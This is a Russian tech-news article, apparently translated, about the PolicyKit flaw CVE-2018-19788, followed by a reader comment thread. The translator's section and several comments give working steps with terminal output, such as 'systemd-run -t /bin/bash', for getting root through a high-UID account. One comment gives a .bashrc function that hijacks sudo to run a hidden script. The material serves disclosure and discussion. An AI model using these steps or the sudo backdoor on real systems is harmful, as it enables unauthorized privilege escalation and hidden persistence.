В операционных системах Linux есть неприкрытая уязвимость, позволяющая пользователю с низкими привилегиями санкционировано выполнить любую команду systemctl (и даже стать root — прим. переводчика), если его UID больше 2147483647.
Описанная уязвимость, отслеживаемая как CVE-2018-19788, находится в библиотеке PolicyKit (также известной, как polkit) версии 0.115, предустановленной в большинстве популярных дистрибутивов Linux, включая Red Hat, Debian, Ubuntu и CentOS. Polkit — инструмент в UNIX-подобных системах, используемый для определения политик и предоставления доступа непривилегированных процессов к привилегированным. В отличие от «sudo» не наделяет процесс пользователя правами администратора, а позволяет точно контролировать, что разрешено, а что запрещено.
Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).
Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.
Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.
Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.
Несколько способов эксплуатации от переводчика
Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:
1) для начала проверил, что он лежит
$ systemctl status apache2
? apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
L-apache2-systemd.conf
Active: inactive (dead)
2) попытался запустить, но получил ошибку
$ systemctl start apache2
(process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
3) но затем убедился, что он все-таки запустился
$ systemctl status apache2
? apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
L-apache2-systemd.conf
Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
Main PID: 2829 (apache2)
Tasks: 55 (limit: 4526)
CGroup: /system.slice/apache2.service
+-2829 /usr/sbin/apache2 -k start
+-2830 /usr/sbin/apache2 -k start
L-2831 /usr/sbin/apache2 -k start
Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат
$ systemd-run -t /bin/bash
(process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'
**
ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello
Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.
Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?
Комментарии (47)
inkvizitor68sl
11.12.2018 02:31-4> как теперь «вызвать» появление на хосте-жертве пользователя с таким UID
Как-как. Каком кверху.
curl… | sudo bash все делают не глядя.NSA
11.12.2018 09:45>curl… | sudo bash все делают не глядя.
Кто все? Кто так делает, рано или поздно попадют на однострочник и очищенную систему.inkvizitor68sl
11.12.2018 14:55Девопсов постепенно к этому приучали.
Тот же NodeJS и npm очень долгое время только так и можно было поставить (помимо мохнатых версий из дистрибутива).NSA
11.12.2018 15:07Нет-нет, при установке nodejs никакого sudo нет.
inkvizitor68sl
11.12.2018 15:09Да шо ви мне таки сказки рассказываете.
nodejs.org/en/download/package-manager/#macos
nodejs.org/en/download/package-manager/#debian-and-ubuntu-based-linux-distributions-enterprise-linux-fedora-and-snap-packages
# Using Ubuntu
curl -sL https://deb.nodesource.com/setup_11.x | sudo -E bash -
sudo apt-get install -y nodejs
Другой вопрос, что сейчас там просто репозиторий добавляется, а потом уже пакет ставишь, раньше (до nodesource) оно прямо из скрипта и ставилось.NSA
11.12.2018 15:15Я не знаю, кто так ставит ноду. Лучше ставить через систему управления версиями:
github.com/tj/n
или
github.com/creationix/nvm
И в обоих случаях никакого sudoinkvizitor68sl
11.12.2018 15:17github.com/creationix/nvm#installation
нууу… не убедили.
Вопрос не в том, как делаете лично вы, а в том, что написано в документации. С точки зрения «девопсизации методом copy-paste» curl | sudo bash давно стало нормой ровно по той причине, что в документации к любой ереси это есть.NSA
11.12.2018 15:59github.com/creationix/nvm#installation
Где вы там нашли sudo?
Вопрос не в том, как делаете лично вы
А так делаю не только я, это стандарт де-факто. Если вы этого не знаете, то значит, вы точно не занимаетесь профессионально разработкой на nodejs.
в документации к любой ереси это есть.
Не ставьте всякую ересь :)inkvizitor68sl
11.12.2018 16:01+1sudo там нет, но не то, чтобы curl | bash был прямо намного менее опасен, можно подсадить бэкдор, который потом выполнит нужно с sudo.
Сама идея запускать скрипты не читая — порочна.NSA
11.12.2018 16:05Сама идея запускать скрипты не читая — порочна.
Вот абсолютно согласен!
можно подсадить бэкдор, который потом выполнит нужно с sudo.
sudo в любом случае требует взаимодействия с пользователем, он специально так спроектирован. Незаметно вставить sudo в скрипт не получится.inkvizitor68sl
11.12.2018 16:09function sudo() {
/usr/bin/sudo /usr/bin/exploit.sh
/usr/bin/sudo ${@}
}
К сожалению, достаточно что-то такое в .bashrc пользователю добавить и следующий запуск sudo запустит exploit.sh. Если сам скрипт аккуратно написан без выхлопа (и почистит следы за собой), то и не узнаешь об этом.
Сам sudo в целом тоже не очень безопасен — в отличие от su, например, strace на sudo выхватывает введенный пароль.Gutt
12.12.2018 00:46Расскажите, как вы запустили sudo под strace. У strace в мане написано, что он не умеет трейсить бинарники с suid. Мне нужно докопаться до причины одной существенной задержки при запуске чего-либо через sudo, а для gdb смелости (и времени) не хватает. Хотелось бы сначала обойтись просмотром сисколлов.
vsb
11.12.2018 22:48Можно подумать, вы читаете инсталляционные скрипты всех пакетов, которые вы ставите, или пакету с ubuntu.org больше доверия, чем скрипту с nodejs.org. Единственная разница с точки зрения безопасности — пакет подписан GPG-подписью, которую своровать вроде как сложней, чем взломать веб-сервер. Но это не слишком существенная разница, как по-мне.
MikailBag
12.12.2018 12:53репозитории ubuntu защищены лучше, чем учетка npm. При этом они премодерируются.
Goodkat
11.12.2018 23:43Девопсов постепенно к этому приучали.
Ага, я когда впервые Node ставил на бубунте, немного удивился такому подходу — это ж даже хуже, чем под виндой скачать и запустить экзэшник, под виндой у него хотя бы ограниченные права пользователя, и как правило есть антивирус, а тут сразу из-под рута.
Тот же NodeJS и npm очень долгое время только так и можно было поставить
В итоге скачал скрипт курлом, изучил, (ничего не понял) и потом уже запустил.
Ogra
11.12.2018 09:10Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?
Еще какую. Внешне безобидный юзер на самом деле является рутом, и ни ручным, ни автоматическим аудитом этого не видно. И он может жить в системе очень долго, особенно если ему дать имя вроде mysqI.
Как создать — вопрос другой. 0day, физический доступ к компьютеру, уволившийся админ — вариантов не так уж и мало.NSA
11.12.2018 09:46>и ни ручным, ни автоматическим аудитом этого не видно
Да бросьте, при аудите всё равно смотришь /etc/passwd, и заоблачный uid явно бросится в глаза.Protos
11.12.2018 15:16Многие автоматизируют аудит и не предусматривают подобную проверку
demimurych
11.12.2018 22:58-3Та ну сдарсьти. Если автоматический аудит не парсит users на предмет того какие у какого пользователя права, то грош цена такому аудиту. Потому что получив рута, я из любого пользователя, сделаю равного руту по правам, десятком разных способов.
Ogra
12.12.2018 09:05О том и речь. Аудит покажет, что у пользователя все в порядке с правами, но из-за бага, его права существенно выше.
arheops
11.12.2018 10:07Автоматический аудит очень вероятно выдаст exception при парсинге user_id
Ручной — ну это очень тяжело не заметить пользователя с 10ти значным ID
firedragon
11.12.2018 11:02Сотни тысяч роутеров с паролями по дефолту не подтверждают вашу самоуверенность.
Та-же самая штука будет на облаках. Многие покупают виртуалку, но экономят на обслуживании. В итоге даже автоапдейты не накладываются. А попытаются провайдеры иметь доступ к машине, люди взвоют о своей приваси. В общем сложный вопрос. А баг действительно критичный
slavius
11.12.2018 13:58Эм… Пользователь (не администратор) может создавать нового пользователя? А иначе как нагнать UID?
3apa3ka3
11.12.2018 14:06залогинился под root в консоли и провел следующий эксперимент
root@debavk:/home/user# uname -a Linux debavk 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux root@debavk:/home/user# useradd -u 2147483649 testuser root@debavk:/home/user# su - testuser No directory, logging in with HOME=/ $ systemd-run -t /bin/bash ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Failed to start transient service unit: Access denied $ echo hello > /test.txt -su: 2: cannot create /test.txt: Permission denied $ root@debavk:/home/user# userdel testuser root@debavk:/home/user# useradd -u 4000000000 testuser root@debavk:/home/user# su - testuser No directory, logging in with HOME=/ $ id uid=4000000000(testuser) gid=1002(testuser) groups=1002(testuser) $ systemd-run -t /bin/bash ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Failed to start transient service unit: Access denied $ echo hello > /test.txt -su: 3: cannot create /test.txt: Permission denied
что то я не дочитал в статье?inkvizitor68sl
11.12.2018 15:14Как обычно в дебиане слишком старый policykit и systemd )? Половина уязвимостей прошла мимо нас по причине «у нас тут старьё в main, а для backports я слишком ленив».
3apa3ka3
11.12.2018 16:47спасибо, просто в статье так сказано, что вроде как должно быть по умолчанию уязвимо, как минимум я так прочитал.
inkvizitor68sl
11.12.2018 17:22Судя по ведру, у вас debian 9, там мало того, что 0.105 (а уязвимость в 0.115), так оно ещё и вроде только для систем с графикой актуально — на серверах polkit не ставится по умолчанию.
115 есть только в experimental. Непонятно, в общем, зачем debian сюда приплели.
Lsh
11.12.2018 14:13Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID
Есть сервер, где LXC контейнеры, пользователи которых на хост системе видны именно с такими (и выше) UID'ами. Вопрос, работает ли эта уязвимость изнутри LXC контейнера. Ubuntu 16.04.
balsoft
11.12.2018 14:35+1Баг всё-таки не в Linux, а в Polkit/SystemD. (Не все пользуются этой поделкой упоротых инженеров Шапки, которые плевали на безопасность и удобство и заботятся только о введении зондов). Не удивлюсь, если этот «баг» сделали специально.
BOPOHA
11.12.2018 17:49+1упоротых инженеров Шапки,
плевали на безопасностьОчень толсто!
Указанные вами специалисты рекомендуют SELinux в enforced режиме, и это во многом решает подобные проблемы.
[root@test ~]# useradd -u 2147483649 testuser (Tue Dec 11 15:32:29:453761 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error! Could not open available domains useradd: sss_cache exited with status 2 useradd: Failed to flush the sssd cache. (Tue Dec 11 15:32:29:468971 2018) [sss_cache] [confdb_get_domains] (0x0010): No domains configured, fatal error! Could not open available domains useradd: sss_cache exited with status 2 useradd: Failed to flush the sssd cache. [root@test ~]# grep testuser /etc/passwd testuser:x:2147483649:1003::/home/testuser:/bin/bash [root@test ~]# su - testuser [testuser@test ~]$ pwd /home/testuser [testuser@test ~]$ systemd-run -t /bin/bash (pkttyagent:9334): GLib-GObject-WARNING **: 15:33:21.538: value "-2147483647" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u23561.service Press ^] three times within 1s to disconnect TTY. [testuser@test ~]$ id uid=2147483649(testuser) gid=1003(testuser) groups=1003(testuser) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [testuser@test ~]$ echo hello > /test.txt -bash: /test.txt: Permission denied [testuser@test ~]$ rpm -q polkit polkit-0.115-2.fc29.x86_64 [testuser@test ~]$ logout [root@test ~]# ausearch -c '(bash)' --raw type=AVC msg=audit(1544538801.747:9383): avc: denied { open } for pid=9337 comm="(bash)" path="/dev/pts/11" dev="devpts" ino=14 scontext=system_u:system_r:init_t:s0 tcontext=unconfined_u:object_r:user_devpts_t:s0 tclass=chr_file permissive=0
Sly_tom_cat
11.12.2018 18:39на Xubuntu 18.04.1 — Дыра есть
$ sudo -i # useradd -u 4000000000 testuser # su testuser $ id uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser) $ systemd-run -t /bin/bash (process:18134): GLib-GObject-WARNING **: 18:34:39.564: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u657.service Press ^] three times within 1s to disconnect TTY. # id uid=0(root) gid=0(root) groups=0(root) #
selivanov_pavel
11.12.2018 22:18root@nowhere:~# useradd -u 4000000000 testuser root@nowhere:~# su testuser $ id uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser) $ systemd-run -t /bin/bash Failed to start transient service unit: The name org.freedesktop.PolicyKit1 was not provided by any .service files $ id uid=4000000000(testuser) gid=1001(testuser) groups=1001(testuser)
Секрет прост — со своих серверов я сношу
polkit-1 accountsservice libaccountsservice0
, нафиг нужно ещё одно sudo, только кривое и слабо проверенное.
А на десктопе через PolicyKit сделано монтирование внешних дисков, управление питанием и некоторые возможности NetworkManager, снести не получится :(
ChachaB
11.12.2018 23:48+3Очевидное-невероятное, с правами рута в линуксе можно натворить всякого, прям открытие. А без рутовых прав пользователя не добавить, увы…
Tangeman
12.12.2018 01:47+3Сенсация! Рут может создать пользователя с правами рута!
Извините, не удержался…
pavelpromin
Реше..., А не! Не та ОС.
3apa3ka3
почитал комментарии, в том числе на fb из оригинальной статьи ссылка, решето все меньше решето, хотя да звучит.
Cenzo
Осталось всего ничего — создать из под рута такого пользователя.